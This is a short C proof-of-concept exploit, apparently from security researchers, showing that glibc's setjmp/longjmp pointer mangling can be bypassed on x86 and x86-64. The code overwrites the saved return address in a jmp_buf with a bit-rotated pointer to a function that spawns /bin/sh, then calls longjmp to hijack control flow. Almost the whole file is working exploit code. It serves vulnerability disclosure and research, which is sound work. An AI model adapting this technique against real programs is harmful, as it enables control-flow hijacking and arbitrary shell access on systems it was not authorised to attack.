/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>
#ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#else
#error The exploit does not support this architecture
#endif
unsigned long rol(uintptr_t value) {
return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}
int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");
}
int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);
printf("[+] Exploiting ...\n");
if(setjmp(env) == 1){
printf("[-] Exploit failed.\n");
return 0;
}
/*Overwrie env return address */
*ptr_ret_env = rol((uintptr_t)hacked);
longjmp(env, 1);
printf("[-] Exploit failed.\n");
return 0;
}